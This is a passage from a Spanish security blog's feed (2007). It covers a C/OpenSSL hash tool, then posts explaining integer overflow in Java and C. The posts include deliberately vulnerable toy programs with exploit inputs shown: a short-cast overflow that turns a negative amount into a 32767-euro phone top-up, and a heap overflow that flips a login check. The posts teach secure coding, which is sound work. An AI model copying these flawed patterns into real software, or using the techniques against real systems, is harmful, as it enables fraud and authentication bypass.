*)malloc(EVP_MAX_MD_SIZE)))&lt;br /&gt;      return NULL;&lt;br /&gt;&lt;br /&gt;   EVP_DigestInit(&amp;ctx, m);&lt;br /&gt;   EVP_DigestUpdate(&amp;ctx, buffer, len);&lt;br /&gt;   EVP_DigestFinal(&amp;ctx, ret, olen);&lt;br /&gt;   return ret;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;print_hex(unsigned char *bs, size_t n)&lt;br /&gt;{&lt;br /&gt;   int i;&lt;br /&gt;&lt;br /&gt;   for(i = 0; i &amp;lt; n; i++)&lt;br /&gt;      printf("%02x", bs[i]);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;unsigned char *&lt;br /&gt;read_file(FILE * f, size_t *len)&lt;br /&gt;{&lt;br /&gt;   unsigned char *buffer = NULL, *last = NULL;&lt;br /&gt;   unsigned char inbuffer[READSIZE];&lt;br /&gt;   int tot, n;&lt;br /&gt;&lt;br /&gt;   tot = 0;&lt;br /&gt;   for(;;)&lt;br /&gt;   {&lt;br /&gt;      n = fread(inbuffer, sizeof(unsigned char), READSIZE, f);&lt;br /&gt;      if(n &amp;gt; 0)&lt;br /&gt;      {&lt;br /&gt;         last = buffer;&lt;br /&gt;         buffer = (unsigned char *)malloc(tot + n);&lt;br /&gt;         memcpy(buffer, last, tot);&lt;br /&gt;         memcpy(&amp;buffer[tot], inbuffer, n);&lt;br /&gt;&lt;br /&gt;         if(last)&lt;br /&gt;            free(last);&lt;br /&gt;         tot += n;&lt;br /&gt;&lt;br /&gt;         if(feof(f) &amp;gt; 0)&lt;br /&gt;         {&lt;br /&gt;            *len = tot;&lt;br /&gt;            return buffer;&lt;br /&gt;         }&lt;br /&gt;      }&lt;br /&gt;      else&lt;br /&gt;      {&lt;br /&gt;         if(buffer)&lt;br /&gt;            free(buffer);&lt;br /&gt;         break;&lt;br /&gt;      }&lt;br /&gt;   }&lt;br /&gt;   return NULL;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;unsigned char *&lt;br /&gt;process_file(char *algorithm, FILE * f, size_t *olen)&lt;br /&gt;{&lt;br /&gt;   size_t filelen;&lt;br /&gt;   unsigned char *ret, *contents = read_file(f, &amp;filelen);&lt;br /&gt;&lt;br /&gt;   if(!contents)&lt;br /&gt;      return NULL;&lt;br /&gt;&lt;br /&gt;   ret = simple_digest(algorithm, contents, filelen, olen);&lt;br /&gt;   free(contents);&lt;br /&gt;   return ret;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;process_stdin(char *algorithm)&lt;br /&gt;{&lt;br /&gt;   size_t olen;&lt;br /&gt;   unsigned char *digest = process_file(algorithm, stdin, &amp;olen);&lt;br /&gt;&lt;br /&gt;   if(!digest)&lt;br /&gt;      return 0;&lt;br /&gt;&lt;br /&gt;   print_hex(digest, olen);&lt;br /&gt;   printf("\n");&lt;br /&gt;   free(digest);&lt;br /&gt;   return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;usage(char *progname)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;   printf("Usage: %s [ md2 | md4 | md5 | sha | sha1 ] [ Files ] \n\n",&lt;br /&gt;          progname);&lt;br /&gt;   exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;   int i;&lt;br /&gt;&lt;br /&gt;   /* Sin parametros */&lt;br /&gt;   if(argc &amp;lt; 2)&lt;br /&gt;      usage(argv[0]);&lt;br /&gt;&lt;br /&gt;   /* Verificamos los algoritmos */&lt;br /&gt;   if((strcmp(argv[1], "md2") != 0) &amp;&amp;&lt;br /&gt;      (strcmp(argv[1], "md4") != 0) &amp;&amp;&lt;br /&gt;      (strcmp(argv[1], "md5") != 0) &amp;&amp;&lt;br /&gt;      (strcmp(argv[1], "sha") != 0) &amp;&amp; (strcmp(argv[1], "sha1") != 0))&lt;br /&gt;      usage(argv[0]);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   /* Un solo parametro, entrada estandar */&lt;br /&gt;   if(argc == 2)&lt;br /&gt;   {&lt;br /&gt;      if(!process_stdin(argv[1]))&lt;br /&gt;         perror("stdin");&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   /* Lee y procesa todos los parametros recibidos */&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;      for(i = 2; i &amp;lt; argc; i++)&lt;br /&gt;      {&lt;br /&gt;&lt;br /&gt;         FILE *file = fopen(argv[i], "rb");&lt;br /&gt;         size_t olen;&lt;br /&gt;         unsigned char *digest;&lt;br /&gt;&lt;br /&gt;         if(!file)&lt;br /&gt;         {&lt;br /&gt;            perror(argv[i]);&lt;br /&gt;            return -1;&lt;br /&gt;         }&lt;br /&gt;&lt;br /&gt;         digest = process_file(argv[1], file, &amp;olen);&lt;br /&gt;&lt;br /&gt;         if(!digest)&lt;br /&gt;         {&lt;br /&gt;            fclose(file);&lt;br /&gt;            return -1;&lt;br /&gt;         }&lt;br /&gt;&lt;br /&gt;         fclose(file);&lt;br /&gt;         print_hex(digest, olen);&lt;br /&gt;         printf("  %s\n", argv[i]);&lt;br /&gt;         free(digest);&lt;br /&gt;      }&lt;br /&gt;   }&lt;br /&gt;   return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Finalmente, podemos verificar el correcto funcionamiento de nuestra herramienta comparandola con el binario openssl.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gcc -lssl myhash.c -o myhash&lt;br /&gt;&lt;br /&gt;$ ./myhash md5 test.txt&lt;br /&gt;d8e8fca2dc0f896fd7cb4cb0031ba249  test.txt&lt;br /&gt;&lt;br /&gt;$ openssl md5 test.txt&lt;br /&gt;MD5(test.txt)= d8e8fca2dc0f896fd7cb4cb0031ba249&lt;br /&gt;&lt;br /&gt;$ ./myhash sha1 test.txt&lt;br /&gt;4e1243bd22c66e76c2ba9eddc1f91394e57f9f83  test.txt&lt;br /&gt;&lt;br /&gt;$ openssl sha1 test.txt&lt;br /&gt;SHA1(test.txt)= 4e1243bd22c66e76c2ba9eddc1f91394e57f9f83&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;u&gt;Referencias:&lt;/u&gt;&lt;br /&gt;- Network security with OpenSSL, Ed O'Reilly. Viega, Messier, Chandra.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-8057904476008997057?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/8057904476008997057/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=8057904476008997057' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8057904476008997057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8057904476008997057'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/07/hash-mediante-c-y-openssl.html' title='Hash mediante C y OpenSSL'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5711618500721243670</id><published>2007-07-15T06:12:00.000-07:00</published><updated>2008-12-04T01:28:25.094-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>Integer Overflow en Java</title><content type='html'>&lt;div style="text-align: justify;"&gt;En el artículo anterior sobre &lt;a href="http://h4ck1t.blogspot.com/2007/06/integer-overflow.html"&gt;Integer Overflow&lt;/a&gt;, explicaba el concepto y mostraba algunos ejemplos en C. Pues bien, es curioso ver como un lenguaje como Java, considerado muy seguro, también permite este tipo de ataques. Veamos un sencillo ejemplo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;public class ShortOverflow&lt;br /&gt;{&lt;br /&gt;  public static void main(String args[])&lt;br /&gt;  {&lt;br /&gt;     if(args.length&lt;1)         &lt;br /&gt;        return;       &lt;br /&gt;       &lt;br /&gt;     short num = Integer.valueOf(args[0]).shortValue();       &lt;br /&gt;     System.out.println("num: "+num);       &lt;br /&gt;&lt;br /&gt;     if(num&gt;100)&lt;br /&gt;        System.out.println("num &gt; 100");&lt;br /&gt;     else&lt;br /&gt;        System.out.println("num &lt; 100");    &lt;br /&gt;  }&lt;br /&gt;} &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La versión de máquina virtual usada es la siguiente:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ java -version&lt;br /&gt;java version "1.5.0_07"&lt;br /&gt;Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_07-b03)&lt;br /&gt;Java HotSpot(TM) Client VM (build 1.5.0_07-b03, mixed mode, sharing)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Si ejecutamos el ejemplo vemos como se produce el overflow sin que se produzca ninguna excepción:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ javac ShortOverflow.java&lt;br /&gt;$ java ShortOverflow 100&lt;br /&gt;num: 100&lt;br /&gt;num &amp;lt; 100&lt;br /&gt;&lt;br /&gt;$ java ShortOverflow 101&lt;br /&gt;num: 101&lt;br /&gt;num &amp;gt; 100&lt;br /&gt;&lt;br /&gt;$java ShortOverflow 100000&lt;br /&gt;num: -31072&lt;br /&gt;num &amp;lt; 100&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Atención! se usa la clase Integer, no la clase Short que sí controla la excepción. Por lo que el problema se produce al realizar el cast de int a short, en la función shortValue(). Lo mismo ocurre si utilizamos el tipo Byte:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;public class ByteOverflow&lt;br /&gt;{&lt;br /&gt;  public static void main(String args[])&lt;br /&gt;  {&lt;br /&gt;     if(args.length&lt;1)         &lt;br /&gt;        return;       &lt;br /&gt;       &lt;br /&gt;     byte num = Integer.valueOf(args[0]).byteValue();       &lt;br /&gt;     System.out.println("num: "+num);       &lt;br /&gt;&lt;br /&gt;     if(num&gt;100)&lt;br /&gt;        System.out.println("num &gt; 100");&lt;br /&gt;     else&lt;br /&gt;        System.out.println("num &lt; 100");    &lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ javac ByteOverflow.java&lt;br /&gt;$ java ByteOverflow 100&lt;br /&gt;num: 100&lt;br /&gt;num &amp;lt; 100&lt;br /&gt;&lt;br /&gt;$ java ByteOverflow 101&lt;br /&gt;num: 101&lt;br /&gt;num &amp;gt; 100&lt;br /&gt;&lt;br /&gt;$ java ByteOverflow 1000&lt;br /&gt;num: -24&lt;br /&gt;num &amp;lt; 100&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, el desbordamiento no se produce si se usa Integer.valueOf("...").intValue(), Short.valueOf("...").shortValue() o similar:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;public class IntegerOverflow&lt;br /&gt;{&lt;br /&gt;   public static void main(String args[])&lt;br /&gt;   {&lt;br /&gt;      if(args.length&lt;1)&lt;br /&gt;         return;&lt;br /&gt;&lt;br /&gt;      int num = Integer.valueOf(args[0]).intValue();&lt;br /&gt;&lt;br /&gt;      System.out.println("num: "+num);&lt;br /&gt;&lt;br /&gt;      if(num&gt;100)&lt;br /&gt;         System.out.println("num &gt; 100");&lt;br /&gt;      else&lt;br /&gt;         System.out.println("num &lt; 100");&lt;br /&gt;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ javac IntegerOverflow.java&lt;br /&gt;$ java IntegerOverflow 10&lt;br /&gt;num: 10&lt;br /&gt;num &lt; 100&lt;br /&gt;&lt;br /&gt;$ java IntegerOverflow 100000&lt;br /&gt;num: 100000&lt;br /&gt;num &gt; 100&lt;br /&gt;&lt;br /&gt;$ java IntegerOverflow 1000000000000000&lt;br /&gt;Exception in thread "main" java.lang.NumberFormatException: For input string: "1000000000000000"&lt;br /&gt;        at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)&lt;br /&gt;        at java.lang.Integer.parseInt(Integer.java:459)&lt;br /&gt;        at java.lang.Integer.valueOf(Integer.java:553)&lt;br /&gt;        at IntegerOverflow.main(IntegerOverflow.java:9)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Krampo en &lt;a href='http://www.kriptopolis.org'&gt;Kriptopolis&lt;/a&gt; proporciona una par de enlaces interesantes. En el primero se documenta el comportamiento de shortValue(): &lt;br /&gt;&lt;br /&gt;&lt;a href='http://java.sun.com/j2se/1.4.2/docs/api/java/lang/Number.html#shortValue()'&gt;&lt;br /&gt;http://java.sun.com/j2se/1.4.2/docs/api/java/lang/Number.html#shortValue()&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En un, muy interesante, segundo enlace se habla del tema:&lt;br /&gt;&lt;a href='http://mindprod.com/jgloss/overflow.html'&gt;http://mindprod.com/jgloss/overflow.html&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Why does Java ignore overflow? Most computer hardware has no ability to automatically generate an interrupt on overflow. And some hardware has no ability to detect it. Java would have to explicitly test for it on every add, subtract and multiply, greatly slowing down production. Further ex-C programmers are very used to this cavalier ignoring of overflow, and commonly write code presuming that high order bits will be quietly dropped.&lt;br /&gt;&lt;br /&gt;The Pentium has hardware overflow detect but no hardware interrupt. So if Java were to support overflow detect, inside the JVM implementation would need to add a JO *jump on overflow" instruction after every add and subtract, and special code to look at the high order bits of the 32x32-&gt;64 bit multiply. 64/32-&gt;32 bit division might need special handling. &lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para finalizar, veamos un ejemplo ficticio donde se podría explotar este overflow. Supongamos un programa en Java que se utiliza para realizar recargas a teléfonos móviles. Este programa cargará una comisión de un euro en la recarga, y posteriormente, realizará dicha recarga.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;public class RecargaMovil&lt;br /&gt;{&lt;br /&gt;   public static void main(String args[])&lt;br /&gt;   {&lt;br /&gt;      if(args.length!=2)&lt;br /&gt;      {&lt;br /&gt;         System.out.println("Uso: prog [telefono] [importe]");&lt;br /&gt;         return;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      // Aqui se encuentra el error del programador (o vulnerabilidad)&lt;br /&gt;      short importe = Integer.valueOf(args[1]).shortValue();&lt;br /&gt;      if(importe &amp;lt; = 10)&lt;br /&gt;      {&lt;br /&gt;         // Quitamos 1 euro de comision;)&lt;br /&gt;         importe -= 1;&lt;br /&gt;&lt;br /&gt;         if(importe&amp;lt;3)&lt;br /&gt;         {&lt;br /&gt;            System.out.println("Importe demasiado pequeño");&lt;br /&gt;            return;&lt;br /&gt;         }&lt;br /&gt;&lt;br /&gt;         System.out.println("Realizando recarga de "+importe+&lt;br /&gt;            " euros a "+args[0]);&lt;br /&gt;         // Realizar recarga ...&lt;br /&gt;      }&lt;br /&gt;      else&lt;br /&gt;      {&lt;br /&gt;         System.out.println("No se permite hacer recargas de mas de 10 euros");&lt;br /&gt;      }&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ java RecargaMovil 93123123 9&lt;br /&gt;Realizando recarga de 8 euros a 93123123&lt;br /&gt;&lt;br /&gt;$ java RecargaMovil 93123123 15&lt;br /&gt;No se permite hacer recargas de mas de 10 euros&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Si observamos con detenimiento el programa veremos la existencia de un overflow en "importe", al pasar de int a short. Dado que un short permite el almacenamiento de 2^16=65536 valores, o 2^15=32768 por admitir valores con signo, veamos como desbordarlo.  &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ java RecargaMovil 98234948 -98302&lt;br /&gt;Importe demasiado pequeño&lt;br /&gt;&lt;br /&gt;$ java RecargaMovil 98234948 -98303&lt;br /&gt;Importe demasiado pequeño&lt;br /&gt;&lt;br /&gt;$ java RecargaMovil 98234948 -98304&lt;br /&gt;Realizando recarga de 32767 euros a 98234948&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Donde "importe" se desborda y nos permite hacer una recarga de 32767 euros:)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5711618500721243670?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5711618500721243670/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5711618500721243670' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5711618500721243670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5711618500721243670'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/07/integer-overflow-en-java.html' title='Integer Overflow en Java'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5693613673570875294</id><published>2007-07-14T10:09:00.000-07:00</published><updated>2008-12-04T01:28:25.079-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>Integer Overflow</title><content type='html'>&lt;div style="text-align: justify;"&gt;Un Integer Overflow se produce cuando una operación aritmética intenta almacenar un valor numérico demasiado grande para la variable que lo contiene. De esta forma, si añadimos 1 al valor máximo que una variable puede almacenar, nos encontraremos con resultados curiosos. Veamos que ocurre en un sistema Linux x86.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;   unsigned short c = 65535;&lt;br /&gt;   printf("%d\n", c);&lt;br /&gt;   c++;&lt;br /&gt;   printf("%d\n", c);&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gcc ex1.c&lt;br /&gt;$ ./a.out&lt;br /&gt;65535&lt;br /&gt;0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como vemos en el ejemplo, al incrementar una variable que ya está en su valor máximo, esta se desborda, empezando de nuevo en el valor cero.&lt;br /&gt;Podemos conocer el valor máximo que se puede almacenar en una variable del lenguaje C usando "sizeof":&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;   printf("size of char: %d bytes\n", sizeof(char));&lt;br /&gt;   printf("size of short: %d bytes\n", sizeof(short));&lt;br /&gt;   printf("size of int: %d bytes\n", sizeof(int));&lt;br /&gt;   printf("size of float: %d bytes\n", sizeof(float));&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gcc ex2.c&lt;br /&gt;$ ./a.out&lt;br /&gt;size of char: 1 bytes&lt;br /&gt;size of short: 2 bytes&lt;br /&gt;size of int: 4 bytes&lt;br /&gt;size of float: 4 bytes&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Así, por ejemplo, en un char podremos guardar valores menores que 2^8, en un short valores menores que 2^16 y en un int valores menores que 2^32.&lt;br /&gt;&lt;br /&gt;En el caso de las variables unsigned, cuando se produce un desbordamiento, nos encontramos con algo similar. Pues si intentamos almacenar un valor negativo en una variable sin signo,  se realizará la conversión correspondiente. Por ejemplo, si en una variable "short" podemos almacenar valores menores que 2^16, en una variable "unsigned short" solo podremos almacenar la mitad. Pues se usaran los 2 bytes tanto para almacenar valores positivos como negativos. De esta manera, asignar un valor -1 a un "unsigned short" corresponderá a almacenar el valor 65535, almacenar -2 corresponderá a 65534, y así sucesivamente.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;   unsigned short c = -1;&lt;br /&gt;   printf("%d\n", c);&lt;br /&gt;   c++;&lt;br /&gt;   printf("%d\n", c);&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gcc ex3.c&lt;br /&gt;$ ./a.out&lt;br /&gt;65535&lt;br /&gt;0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;No resulta nada complicado hacerse a la idea de como una vulnerabilidad de este tipo puede ser explotada. Por ejemplo, modificando el flujo de ejecución de un programa. En el caso siguiente, se pasa una condición "if" que no debería.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;   if(argc != 2)&lt;br /&gt;   {&lt;br /&gt;      printf("Usage: %s num\n", argv[0]);&lt;br /&gt;      return -1;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   size_t num = atoi(argv[1]);&lt;br /&gt;&lt;br /&gt;   if(num&amp;gt;100)&lt;br /&gt;      printf("num &amp;gt; 100\n");&lt;br /&gt;   else&lt;br /&gt;      printf("num &amp;lt; 100\n);&lt;br /&gt;&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gcc ex4.c&lt;br /&gt;$ ./a.out 1&lt;br /&gt;num &amp;lt; 100&lt;br /&gt;$ ./a.out 101&lt;br /&gt;num &amp;gt; 101&lt;br /&gt;$ ./a.out -1&lt;br /&gt;num &gt; 100&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Para finalizar, veamos un ejemplo de &lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;buffer overflow&lt;/a&gt; en el que se muestra cómo usar la longitud de una cadena para escribir fuera del buffer. En este caso la variable que permite el overflow es len, dado que existe la posibilidad de que la longitud de la cadena sea zero. Entonces, el valor de len es -1, o lo que viene a ser lo mismo, 255 por ser una variable "unsigned" de 8 bits. Por este motivo, el memcpy copiará 255 bytes a ptr, unos cuantos más de los necesarios. Realmente lo que se desborda es el heap, por lo que se trata, concretamente, de un &lt;a href="http://h4ck1t.blogspot.com/2007/06/heap-overflow.html"&gt;heap overflow&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;   if(argc&lt;=1)      &lt;br /&gt;      return -1;   &lt;br /&gt;   char *ptr = malloc(strlen(argv[1]));  &lt;br /&gt;   int *login_ok = malloc(sizeof(int));  &lt;br /&gt;   *login_ok=0;    &lt;br /&gt;   printf("size: %d\n", strlen(argv[1]));  &lt;br /&gt;   uint8_t len = strlen(argv[1]) -1;   &lt;br /&gt;   memcpy(ptr, argv[1], len+1);  &lt;br /&gt;   printf("Login: %d\n", *login_ok);   &lt;br /&gt;&lt;br /&gt;  if(*login_ok)  &lt;br /&gt;  {     &lt;br /&gt;     printf("Access Accept\n");  &lt;br /&gt;  }  &lt;br /&gt;  else  &lt;br /&gt;  {     &lt;br /&gt;     printf("Access Denied\n");  &lt;br /&gt;  }  &lt;br /&gt;  return 1;&lt;br /&gt;}  &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;$ gcc ex5.c&lt;br /&gt;$ ./a.out hola&lt;br /&gt;size: 4&lt;br /&gt;Login: 0&lt;br /&gt;Access Denied&lt;br /&gt;&lt;br /&gt;$ ./a.out adiossssssssssssssssssssss&lt;br /&gt;size: 26&lt;br /&gt;Login: 0&lt;br /&gt;Access Denied&lt;br /&gt;&lt;br /&gt;$ ./a.out ""&lt;br /&gt;size: 0&lt;br /&gt;Login: 3618355&lt;br /&gt;Access Accept &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;br /&gt;&lt;/span&gt;&lt;span&gt;- &lt;a href="http://en.wikipedia.org/wiki/Integer_overflow"&gt;Wikipedia: Integer Overflow&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://www.phrack.org/issues.html?issue=60&amp;amp;id=10"&gt;Phrak 60: Basic Integer Overflows&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5693613673570875294?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5693613673570875294/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5693613673570875294' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5693613673570875294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5693613673570875294'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/07/integer-overflow.html' title='Integer Overflow'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-3699628533115449583</id><published>2007-06-17T02:26:00.000-07:00</published><updated>2008-12-04T01:28:25.066-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>Static Data Overflow</title><content type='html'>&lt;div style="text-align: justify;"&gt;El Static Data Overflow es un tipo de &lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;buffer overflow&lt;/a&gt; que se produce con datos estáticos. Estos pueden ser sobreescritos de forma similar a la estudiada en los los &lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;buffer overflow&lt;/a&gt; o en los &lt;a href="http://h4ck1t.blogspot.com/2007/06/heap-overflow.html"&gt;heap overflow&lt;/a&gt;, es decir, en situaciones en las que el programador no verifica correctamente el tamaño de los datos que copia. Veamos un ejemplo sencillo de Static Data Overflow.&lt;br /&gt;&lt;pre 